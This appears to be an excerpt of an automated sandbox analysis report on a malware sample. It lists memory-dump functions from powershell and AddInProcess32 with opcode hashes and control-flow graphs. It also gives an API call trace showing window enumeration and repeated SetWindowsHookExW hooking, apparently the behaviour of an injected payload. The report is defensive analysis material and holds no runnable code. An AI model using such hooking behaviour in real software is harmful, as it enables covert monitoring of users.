                                                              • Opcode ID: 62456f428b5f9de86b25a699d98ce594ed1dfe741d2ffd55efe3cc686cee8a57
                                                              • Instruction ID: 055cac5a6997462f170ec59faa3df58a218c63bb333647e92c5ce6702d08a2f1
                                                              • Opcode Fuzzy Hash: 62456f428b5f9de86b25a699d98ce594ed1dfe741d2ffd55efe3cc686cee8a57
                                                              • Instruction Fuzzy Hash: DA71B230B19A198BEB78DB68D461A72B3D6FF9C311F14457DD04AC36A1DE35F9428B80
                                                              Function 00007FFD9B897300 Relevance: .2, Instructions: 200COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1865297609.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ffd9b890000_powershell.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: b4071020e11ea9c0c235193bca4c3dab72f8617443a3d17439926b7e32c7daa0
                                                              • Instruction ID: b24ed427f7cf702daa943d62804a9af2358a25dd51f2e2ebbfbb7a3f468f15e7
                                                              • Opcode Fuzzy Hash: b4071020e11ea9c0c235193bca4c3dab72f8617443a3d17439926b7e32c7daa0
                                                              • Instruction Fuzzy Hash: CE51E431B0EA1E4FE7ACA76894666B477D1EF8D310F1500BDD44EC32A2ED25AD428BC1
                                                              Function 00007FFD9B962A9B Relevance: .1, Instructions: 60COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1867580461.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ffd9b960000_powershell.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 0134c8f6056d45c298b8ac1174aa39da8f3d806253d1d70a44dce2616b1bb9e3
                                                              • Instruction ID: 2215d8b56a0cfc3bc724d3a7e695c55b17bc1ad75a130ca570431fe1d2e87154
                                                              • Opcode Fuzzy Hash: 0134c8f6056d45c298b8ac1174aa39da8f3d806253d1d70a44dce2616b1bb9e3
                                                              • Instruction Fuzzy Hash: 0D012B22F2E91E9FF3B997DC646517473C2EF84220B4A05BAD40DC31D6ED09AC028245
                                                              Function 00007FFD9B962518 Relevance: .1, Instructions: 54COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1867580461.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ffd9b960000_powershell.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 592ab6ce10182db71c17b70bd791e056c29048f77b96b815312cfd07ade49f8b
                                                              • Instruction ID: af518d1e1bf75b941bc8f5fdcee5376da742ec37eb3b11444bcfa92ab6e1b922
                                                              • Opcode Fuzzy Hash: 592ab6ce10182db71c17b70bd791e056c29048f77b96b815312cfd07ade49f8b
                                                              • Instruction Fuzzy Hash: CA01D622F2E91D9FE3B8E79C74355B873C1EF84320B5501B6E41DC31E6ED15AC024281
                                                              Function 00007FFD9B893FD5 Relevance: .0, Instructions: 49COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1865297609.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ffd9b890000_powershell.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
                                                              • Instruction ID: b9e3671ed999a91d774a9061481b6e8ebbaa6e1bcff7b2b2f92dfd77937eea8f
                                                              • Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
                                                              • Instruction Fuzzy Hash: 8D01A73020CB0C4FDB48EF0CE451AA5B7E0FB89320F10056DE58AC36A1D732E881CB41
                                                              Function 00007FFD9B8B4DD0 Relevance: .0, Instructions: 28COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1865297609.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ffd9b890000_powershell.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: adda3af07081630ea2ccdf3809180445c851b27ea77f179675e191271ee1fd76
                                                              • Instruction ID: 116f43e8219830183587b435e8e1ed53d4cd744cf1da5cd75eb33b3bb1819d3f
                                                              • Opcode Fuzzy Hash: adda3af07081630ea2ccdf3809180445c851b27ea77f179675e191271ee1fd76
                                                              • Instruction Fuzzy Hash: F1E04610F0B93E06FAF462FA34661F821C4CF4C320F0A11B6E80DD21E6ED896EC20AC5

                                                              Non-executed Functions

                                                              Function 00007FFD9B8970FA Relevance: .6, Instructions: 596COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1865297609.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ffd9b890000_powershell.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: f605dcac55ecfc882b1e5efaef51b088b7da986e37506a4888f7847d9f4e8c35
                                                              • Instruction ID: f23e811e3f1b3924ee8fe0b6e5beb3038bb2f6deb64bb910c913930e23cdf203
                                                              • Opcode Fuzzy Hash: f605dcac55ecfc882b1e5efaef51b088b7da986e37506a4888f7847d9f4e8c35
                                                              • Instruction Fuzzy Hash: 03020731B1DA5E4BE76CAB6894666B973C2FF88300F45417DE04EC72E3DD29B94286C1
                                                              Function 00007FFD9B897118 Relevance: .6, Instructions: 579COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1865297609.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ffd9b890000_powershell.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: d05ec59d7200f0fb793d9d1cd228d9905ee02c058b6128069efebb740606c27b
                                                              • Instruction ID: f3288cb7df0e98d0764f05c4fba70148fc097850a16fefeaba45568dbeaebe0f
                                                              • Opcode Fuzzy Hash: d05ec59d7200f0fb793d9d1cd228d9905ee02c058b6128069efebb740606c27b
                                                              • Instruction Fuzzy Hash: 15F11571B1CE4D4FE7ACAB6C94666B473C2EB98710F40417EE44EC32E7DE25B9428681

                                                              Execution Graph

                                                              Execution Coverage:15.8%
                                                              Dynamic/Decrypted Code Coverage:100%
                                                              Signature Coverage:0%
                                                              Total number of Nodes:81
                                                              Total number of Limit Nodes:7
                                                              execution_graph 22203 cb0848 22204 cb0852 22203->22204 22206 cb21a0 22203->22206 22207 cb21c5 22206->22207 22211 cb229f 22207->22211 22216 cb22b0 22207->22216 22212 cb22af 22211->22212 22213 cb21cf 22211->22213 22215 cb23b4 22212->22215 22220 cb1f0c 22212->22220 22213->22204 22218 cb22d7 22216->22218 22217 cb23b4 22217->22217 22218->22217 22219 cb1f0c CreateActCtxA 22218->22219 22219->22217 22221 cb3340 CreateActCtxA 22220->22221 22223 cb3403 22221->22223 22224 cbcd98 22225 cbcdde GetCurrentProcess 22224->22225 22227 cbce29 22225->22227 22228 cbce30 GetCurrentThread 22225->22228 22227->22228 22229 cbce6d GetCurrentProcess 22228->22229 22231 cbce66 22228->22231 22230 cbcea3 22229->22230 22232 cbcecb GetCurrentThreadId 22230->22232 22231->22229 22233 cbcefc 22232->22233 22236 5de5c28 22237 5de5d4a 22236->22237 22238 5de5c41 22236->22238 22238->22237 22241 5de9628 22238->22241 22245 5de9618 22238->22245 22242 5de963a 22241->22242 22249 5de7944 22242->22249 22246 5de963a 22245->22246 22247 5de7944 EnumWindows 22246->22247 22248 5de9664 22247->22248 22248->22238 22251 5de9688 EnumWindows 22249->22251 22252 5de9664 22251->22252 22252->22238 22234 cbcfe0 DuplicateHandle 22235 cbd076 22234->22235 22253 5de6e60 22254 5de6e6e 22253->22254 22258 5de7358 22254->22258 22263 5de7348 22254->22263 22255 5de6ea3 22259 5de7369 22258->22259 22268 5de74d8 22259->22268 22273 5de74c8 22259->22273 22260 5de73f4 22260->22255 22264 5de7369 22263->22264 22266 5de74d8 SetWindowsHookExW 22264->22266 22267 5de74c8 SetWindowsHookExW 22264->22267 22265 5de73f4 22265->22255 22266->22265 22267->22265 22269 5de74e9 22268->22269 22278 5de7569 22269->22278 22282 5de7578 22269->22282 22270 5de7510 22270->22260 22274 5de74e9 22273->22274 22276 5de7578 SetWindowsHookExW 22274->22276 22277 5de7569 SetWindowsHookExW 22274->22277 22275 5de7510 22275->22260 22276->22275 22277->22275 22279 5de7584 22278->22279 22286 5de7988 22278->22286 22291 5de7a13 22278->22291 22279->22270 22284 5de7988 SetWindowsHookExW 22282->22284 22285 5de7a13 SetWindowsHookExW 22282->22285 22283 5de7584 22283->22270 22284->22283 22285->22283 22287 5de798d 22286->22287 22288 5de79cb 22287->22288 22295 5de7ac0 22287->22295 22288->22279 22292 5de7a26 22291->22292 22294 5de7ac0 SetWindowsHookExW 22292->22294 22293 5de7a49 22293->22279 22294->22293 22299 5de7af0 22295->22299 22303 5de7ae0 22295->22303 22296 5de7a49 22296->22279 22300 5de7b04 22299->22300 22307 5de776c 22300->22307 22304 5de7b04 22303->22304 22305 5de776c SetWindowsHookExW 22304->22305 22306 5de7b4d 22305->22306 22306->22296 22308 5de7bd0 SetWindowsHookExW 22307->22308 22310 5de7b4d 22308->22310 22310->22296

                                                              Executed Functions

                                                              Function 05C70048 Relevance: 26.7, Strings: 21, Instructions: 426COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 263 5c70048-5c70068 264 5c7006f-5c70071 263->264 265 5c70073-5c70079 264->265 266 5c70089-5c700bd 264->266 267 5c7007d-5c7007f 265->267 268 5c7007b 265->268 271 5c700c0-5c700c4 266->271 267->266 268->266 272 5c700c6-5c700cb 271->272 273 5c700cd-5c700d2 271->273 274 5c700d8-5c700db 272->274 273->274 275 5c70db7-5c70dc1 274->275 276 5c700e1-5c700f5 274->276 276->271 278 5c700f7 276->278 279 5c70484-5c70493 278->279 280 5c703a2-5c703b1 278->280 281 5c702c0-5c702cf 278->281 282 5c700fe-5c7010b 278->282 283 5c701de-5c701ed 278->283 284 5c70d3f-5c70d63 279->284 285 5c70499-5c704bf 279->285 280->284 286 5c703b7-5c703dd 280->286 281->284 287 5c702d5-5c702fb 281->287 282->284 289 5c70111-5c70137 282->289 283->284 288 5c701f3-5c70219 283->288 302 5c70f32-5c70f37 284->302 303 5c70d69-5c70d70 284->303 319 5c704c1-5c704c6 285->319 320 5c704c8-5c704cf 285->320 310 5c703e6-5c703ed 286->310 311 5c703df-5c703e4 286->311 312 5c70304-5c7030b 287->312 313 5c702fd-5c70302 287->313 315 5c70222-5c70229 288->315 316 5c7021b-5c70220 288->316 317 5c70140-5c70147 289->317 318 5c70139-5c7013e 289->318 303->302 307 5c70d76-5c70d91 303->307 307->302 337 5c70d97-5c70d9f 307->337 324 5c70413-5c70437 310->324 325 5c703ef-5c70411 310->325 323 5c70452-5c7047f 311->323 327 5c70331-5c70355 312->327 328 5c7030d-5c7032f 312->328 326 5c70370-5c7039d 313->326 330 5c7024f-5c70273 315->330 331 5c7022b-5c7024d 315->331 329 5c7028e-5c702bb 316->329 333 5c7016d-5c70191 317->333 334 5c70149-5c7016b 317->334 332 5c701ac-5c701d9 318->332 336 5c70534-5c70561 319->336 321 5c704f5-5c70519 320->321 322 5c704d1-5c704f3 320->322 373 5c70531 321->373 374 5c7051b-5c70521 321->374 322->336 323->271 375 5c7044f 324->375 376 5c70439-5c7043f 324->376 325->323 326->271 377 5c70357-5c7035d 327->377 378 5c7036d 327->378 328->326 329->271 369 5c70275-5c7027b 330->369 370 5c7028b 330->370 331->329 332->271 371 5c70193-5c70199 333->371 372 5c701a9 333->372 334->332 336->271 337->302 343 5c70da5-5c70dae 337->343 343->275 379 5c7027f-5c70281 369->379 380 5c7027d 369->380 370->329 381 5c7019d-5c7019f 371->381 382 5c7019b 371->382 372->332 373->336 383 5c70525-5c70527 374->383 384 5c70523 374->384 375->323 385 5c70443-5c70445 376->385 386 5c70441 376->386 387 5c70361-5c70363 377->387 388 5c7035f 377->388 378->326 379->370 380->370 381->372 382->372 383->373 384->373 385->375 386->375 387->378 388->378
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4235685529.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_5c70000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: ?$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
                                                              • API String ID: 0-2982888449
                                                              • Opcode ID: 5993565a9923123118850c71de9024b4c305b95582348ed774271983e9749bc8
                                                              • Instruction ID: a31c388843b71f506d64e05f7595e6fae1d265037b5dbc4f489a144a303fb90d
                                                              • Opcode Fuzzy Hash: 5993565a9923123118850c71de9024b4c305b95582348ed774271983e9749bc8
                                                              • Instruction Fuzzy Hash: 47F19234B0060C8FDB25DB65C948A6EBBB3FF84704F108869E406AB7A5CB75DD46CB91
                                                              Function 05C71420 Relevance: 12.9, Strings: 10, Instructions: 435COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 389 5c71420-5c71447 391 5c7144d-5c7145f 389->391 392 5c71549-5c71579 389->392 395 5c71461-5c71470 391->395 401 5c715f6-5c71601 392->401 402 5c7157b-5c7158a 392->402 398 5c714d5-5c714d9 395->398 399 5c71472-5c7149f 395->399 403 5c714db-5c714e6 398->403 404 5c714e8 398->404 425 5c714a5-5c714d3 399->425 405 5c71609-5c71613 401->405 415 5c715cc-5c715d0 402->415 416 5c7158c-5c715ca 402->416 406 5c714ed-5c714f0 403->406 404->406 409 5c71527-5c71544 406->409 410 5c714f2-5c714f6 406->410 409->405 412 5c71505 410->412 413 5c714f8-5c71503 410->413 420 5c71507-5c71509 412->420 413->420 417 5c715d2-5c715dd 415->417 418 5c715df 415->418 440 5c715f0-5c715f4 416->440 422 5c715e1-5c715e3 417->422 418->422 423 5c71616-5c71623 420->423 424 5c7150f-5c71519 420->424 429 5c715e5-5c715ef 422->429 430 5c7162a-5c71687 422->430 423->430 437 5c7151a-5c71521 424->437 425->437 429->440 445 5c717f0-5c71820 430->445 446 5c7168d-5c7169f 430->446 437->395 437->409 440->401 440->402 457 5c71826-5c71835 445->457 458 5c71911-5c7191c 445->458 449 5c716a1-5c716b0 446->449 452 5c716b6-5c716e8 449->452 453 5c7177c-5c71780 449->453 491 5c716f1-5c716f8 452->491 492 5c716ea-5c716ef 452->492 455 5c71782-5c7178d 453->455 456 5c7178f 453->456 460 5c71794-5c71797 455->460 456->460 466 5c718e3-5c718e7 457->466 467 5c7183b-5c71861 457->467 465 5c71924-5c7192e 458->465 463 5c717ce-5c717eb 460->463 464 5c71799-5c7179d 460->464 463->465 469 5c7179f-5c717aa 464->469 470 5c717ac 464->470 472 5c718f6 466->472 473 5c718e9-5c718f4 466->473 500 5c71863-5c71868 467->500 501 5c7186a-5c71871 467->501 474 5c717ae-5c717b0 469->474 470->474 475 5c718f8-5c718fa 472->475 473->475 479 5c717b6-5c717c0 474->479 480 5c71931-5c7193e 474->480 481 5c71945-5c7195e 475->481 482 5c718fc-5c71906 475->482 489 5c717c1-5c717c8 479->489 480->481 494 5c71907-5c7190b 482->494 489->449 489->463 497 5c7171c-5c71740 491->497 498 5c716fa-5c7171a 491->498 496 5c7175b-5c7177a 492->496 494->457 494->458 496->489 514 5c71742-5c71748 497->514 515 5c71758 497->515 498->496 504 5c718d4-5c718e1 500->504 505 5c71895-5c718b9 501->505 506 5c71873-5c71893 501->506 504->494 520 5c718d1 505->520 521 5c718bb-5c718c1 505->521 506->504 517 5c7174c-5c7174e 514->517 518 5c7174a 514->518 515->496 517->515 518->515 520->504 522 5c718c5-5c718c7 521->522 523 5c718c3 521->523 522->520 523->520
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4235685529.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_5c70000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: JCvq$JCvq$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
                                                              • API String ID: 0-1450370932
                                                              • Opcode ID: 2e8ff59f279b449393a050a551705637c6f74e20e11d4eec766bfff3ea2dddba
                                                              • Instruction ID: 37c2ba2a2ee74af5beefc5226be45a360d7f7ea4a7e2c94e9ca25a19c15172e2
                                                              • Opcode Fuzzy Hash: 2e8ff59f279b449393a050a551705637c6f74e20e11d4eec766bfff3ea2dddba
                                                              • Instruction Fuzzy Hash: FFF18E34B006098FCB14DFA9C9549BEBBF7FF88214B18886AD9069B7A5CB34DD45CB50
                                                              Function 05C71200 Relevance: 10.2, Strings: 8, Instructions: 154COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 524 5c71200-5c71219 526 5c71231-5c71259 524->526 527 5c7121b-5c71221 524->527 532 5c7125c-5c71260 526->532 528 5c71225-5c71227 527->528 529 5c71223 527->529 528->526 529->526 533 5c71262-5c71267 532->533 534 5c71269-5c7126e 532->534 535 5c71274-5c71277 533->535 534->535 536 5c713d1-5c713d5 535->536 537 5c7127d-5c71297 535->537 538 5c713d7-5c713df 536->538 539 5c713e8-5c713f1 536->539 537->532 541 5c71299 537->541 538->539 542 5c712a0-5c712cd 541->542 543 5c71369-5c71391 541->543 552 5c712d6-5c712dd 542->552 553 5c712cf-5c712d4 542->553 546 5c71397-5c713ac 543->546 550 5c713ae-5c713b0 546->550 551 5c713ba-5c713cc 546->551 550->551 551->532 554 5c71301-5c71325 552->554 555 5c712df-5c712ff 552->555 556 5c71340-5c71346 553->556 565 5c71327-5c7132d 554->565 566 5c7133d 554->566 555->556 558 5c71354-5c71364 556->558 559 5c71348-5c7134a 556->559 558->532 559->558 567 5c71331-5c71333 565->567 568 5c7132f 565->568 566->556 567->566 568->566
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4235685529.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_5c70000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: JCvq$JCvq$$^q$$^q$$^q$$^q$;^q$;^q
                                                              • API String ID: 0-4185821237
                                                              • Opcode ID: ec7b6799c11e133946a720d7e4bb47afb1079a2b1e50f0e87ee1ad753d79374e
                                                              • Instruction ID: d3da206daa2e3162b097ae3f7a4d4d2227db37876624f9a45ff160b52d870de0
                                                              • Opcode Fuzzy Hash: ec7b6799c11e133946a720d7e4bb47afb1079a2b1e50f0e87ee1ad753d79374e
                                                              • Instruction Fuzzy Hash: B0515030B041099FCB189FAAC944ABEBBF7FF88300F148869D5069B765DB71D946CB91
                                                              Function 05C70035 Relevance: 7.7, Strings: 6, Instructions: 232COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 569 5c70035-5c70068 570 5c7006f-5c70071 569->570 571 5c70073-5c70079 570->571 572 5c70089-5c700bd 570->572 573 5c7007d-5c7007f 571->573 574 5c7007b 571->574 577 5c700c0-5c700c4 572->577 573->572 574->572 578 5c700c6-5c700cb 577->578 579 5c700cd-5c700d2 577->579 580 5c700d8-5c700db 578->580 579->580 581 5c70db7-5c70dc1 580->581 582 5c700e1-5c700f5 580->582 582->577 584 5c700f7 582->584 585 5c70484-5c70493 584->585 586 5c703a2-5c703b1 584->586 587 5c702c0-5c702cf 584->587 588 5c700fe-5c7010b 584->588 589 5c701de-5c701ed 584->589 590 5c70d3f-5c70d63 585->590 591 5c70499-5c704bf 585->591 586->590 592 5c703b7-5c703dd 586->592 587->590 593 5c702d5-5c702fb 587->593 588->590 595 5c70111-5c70137 588->595 589->590 594 5c701f3-5c70219 589->594 608 5c70f32-5c70f37 590->608 609 5c70d69-5c70d70 590->609 625 5c704c1-5c704c6 591->625 626 5c704c8-5c704cf 591->626 616 5c703e6-5c703ed 592->616 617 5c703df-5c703e4 592->617 618 5c70304-5c7030b 593->618 619 5c702fd-5c70302 593->619 621 5c70222-5c70229 594->621 622 5c7021b-5c70220 594->622 623 5c70140-5c70147 595->623 624 5c70139-5c7013e 595->624 609->608 613 5c70d76-5c70d91 609->613 613->608 643 5c70d97-5c70d9f 613->643 630 5c70413-5c70437 616->630 631 5c703ef-5c70411 616->631 629 5c70452-5c7047f 617->629 633 5c70331-5c70355 618->633 634 5c7030d-5c7032f 618->634 632 5c70370-5c7039d 619->632 636 5c7024f-5c70273 621->636 637 5c7022b-5c7024d 621->637 635 5c7028e-5c702bb 622->635 639 5c7016d-5c70191 623->639 640 5c70149-5c7016b 623->640 638 5c701ac-5c701d9 624->638 642 5c70534-5c70561 625->642 627 5c704f5-5c70519 626->627 628 5c704d1-5c704f3 626->628 679 5c70531 627->679 680 5c7051b-5c70521 627->680 628->642 629->577 681 5c7044f 630->681 682 5c70439-5c7043f 630->682 631->629 632->577 683 5c70357-5c7035d 633->683 684 5c7036d 633->684 634->632 635->577 675 5c70275-5c7027b 636->675 676 5c7028b 636->676 637->635 638->577 677 5c70193-5c70199 639->677 678 5c701a9 639->678 640->638 642->577 643->608 649 5c70da5-5c70dae 643->649 649->581 685 5c7027f-5c70281 675->685 686 5c7027d 675->686 676->635 687 5c7019d-5c7019f 677->687 688 5c7019b 677->688 678->638 679->642 689 5c70525-5c70527 680->689 690 5c70523 680->690 681->629 691 5c70443-5c70445 682->691 692 5c70441 682->692 693 5c70361-5c70363 683->693 694 5c7035f 683->694 684->632 685->676 686->676 687->678 688->678 689->679 690->679 691->681 692->681 693->684 694->684
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4235685529.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_5c70000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: ?$$^q$$^q$$^q$$^q$$^q
                                                              • API String ID: 0-4250046088
                                                              • Opcode ID: 4906730eff51c61eec7677adb5b8900fde014112912f5350c6c4402a79c80230
                                                              • Instruction ID: d63adf42e0da6fe690533fe71c467a6b50f19f3df5f78d11b780303457cba017
                                                              • Opcode Fuzzy Hash: 4906730eff51c61eec7677adb5b8900fde014112912f5350c6c4402a79c80230
                                                              • Instruction Fuzzy Hash: 1C810534B406098FDB15CB69C854BAEBBA7FF84300F104925D501EB7A5DEB9DD06CB91
                                                              Function 00CBCD88 Relevance: 6.1, APIs: 4, Instructions: 134threadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 695 cbcd88-cbce27 GetCurrentProcess 699 cbce29-cbce2f 695->699 700 cbce30-cbce64 GetCurrentThread 695->700 699->700 701 cbce6d-cbcea1 GetCurrentProcess 700->701 702 cbce66-cbce6c 700->702 704 cbceaa-cbcec5 call cbcf68 701->704 705 cbcea3-cbcea9 701->705 702->701 708 cbcecb-cbcefa GetCurrentThreadId 704->708 705->704 709 cbcefc-cbcf02 708->709 710 cbcf03-cbcf65 708->710 709->710
                                                              APIs
                                                              • GetCurrentProcess.KERNEL32 ref: 00CBCE16
                                                              • GetCurrentThread.KERNEL32 ref: 00CBCE53
                                                              • GetCurrentProcess.KERNEL32 ref: 00CBCE90
                                                              • GetCurrentThreadId.KERNEL32 ref: 00CBCEE9
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4208639564.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_cb0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Current$ProcessThread
                                                              • String ID:
                                                              • API String ID: 2063062207-0
                                                              • Opcode ID: eadd93d74ff0b116be729bbe1e94a86e5bbddd7c225b8d00dec21f7fbe4e29f7
                                                              • Instruction ID: b2804488403db380302a816cdea117a7fcf0a6e13d94f52a89d749be81ab53a7
                                                              • Opcode Fuzzy Hash: eadd93d74ff0b116be729bbe1e94a86e5bbddd7c225b8d00dec21f7fbe4e29f7
                                                              • Instruction Fuzzy Hash: 2E5165B4D01649CFDB04DFA9C588BDEBBF1AF88304F20846AE059A7360D774A984CF65
                                                              Function 00CBCD98 Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 717 cbcd98-cbce27 GetCurrentProcess 721 cbce29-cbce2f 717->721 722 cbce30-cbce64 GetCurrentThread 717->722 721->722 723 cbce6d-cbcea1 GetCurrentProcess 722->723 724 cbce66-cbce6c 722->724 726 cbceaa-cbcec5 call cbcf68 723->726 727 cbcea3-cbcea9 723->727 724->723 730 cbcecb-cbcefa GetCurrentThreadId 726->730 727->726 731 cbcefc-cbcf02 730->731 732 cbcf03-cbcf65 730->732 731->732
                                                              APIs
                                                              • GetCurrentProcess.KERNEL32 ref: 00CBCE16
                                                              • GetCurrentThread.KERNEL32 ref: 00CBCE53
                                                              • GetCurrentProcess.KERNEL32 ref: 00CBCE90
                                                              • GetCurrentThreadId.KERNEL32 ref: 00CBCEE9
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4208639564.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_cb0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Current$ProcessThread
                                                              • String ID:
                                                              • API String ID: 2063062207-0
                                                              • Opcode ID: 840d553e3d3b1d66326f1d7280ea6a09cc1fdad2164b4c85f69d8ca2430efc5f
                                                              • Instruction ID: 198b579ae8ea74ecb45be21faf373c50919dce36f01af4a4aa40d1062d7a7731
                                                              • Opcode Fuzzy Hash: 840d553e3d3b1d66326f1d7280ea6a09cc1fdad2164b4c85f69d8ca2430efc5f
                                                              • Instruction Fuzzy Hash: 335156B4D01649CFDB04DFA9D588BDEBBF1AF88304F20845AE059A7360D774A984CF65
                                                              Function 05C711ED Relevance: 5.1, Strings: 4, Instructions: 107COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 911 5c711ed-5c71219 913 5c71231-5c71259 911->913 914 5c7121b-5c71221 911->914 919 5c7125c-5c71260 913->919 915 5c71225-5c71227 914->915 916 5c71223 914->916 915->913 916->913 920 5c71262-5c71267 919->920 921 5c71269-5c7126e 919->921 922 5c71274-5c71277 920->922 921->922 923 5c713d1-5c713d5 922->923 924 5c7127d-5c71297 922->924 925 5c713d7-5c713df 923->925 926 5c713e8-5c713f1 923->926 924->919 928 5c71299 924->928 925->926 929 5c712a0-5c712cd 928->929 930 5c71369-5c71370 928->930 939 5c712d6-5c712dd 929->939 940 5c712cf-5c712d4 929->940 931 5c7137a-5c71391 930->931 933 5c71397-5c713ac 931->933 937 5c713ae-5c713b0 933->937 938 5c713ba-5c713cc 933->938 937->938 938->919 941 5c71301-5c71325 939->941 942 5c712df-5c712ff 939->942 943 5c71340-5c71346 940->943 952 5c71327-5c7132d 941->952 953 5c7133d 941->953 942->943 945 5c71354-5c71364 943->945 946 5c71348-5c7134a 943->946 945->919 946->945 954 5c71331-5c71333 952->954 955 5c7132f 952->955 953->943 954->953 955->953
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4235685529.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_5c70000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: JCvq$JCvq$$^q$;^q
                                                              • API String ID: 0-2663190820
                                                              • Opcode ID: cd2781a59f46407a86151e9498951a859e493fcd38c3e8107010ab597f66d420
                                                              • Instruction ID: c4d98d8e38f9f65e78163b95a1bb6709f881893802d0e9c6198a3ee1ef011292
                                                              • Opcode Fuzzy Hash: cd2781a59f46407a86151e9498951a859e493fcd38c3e8107010ab597f66d420
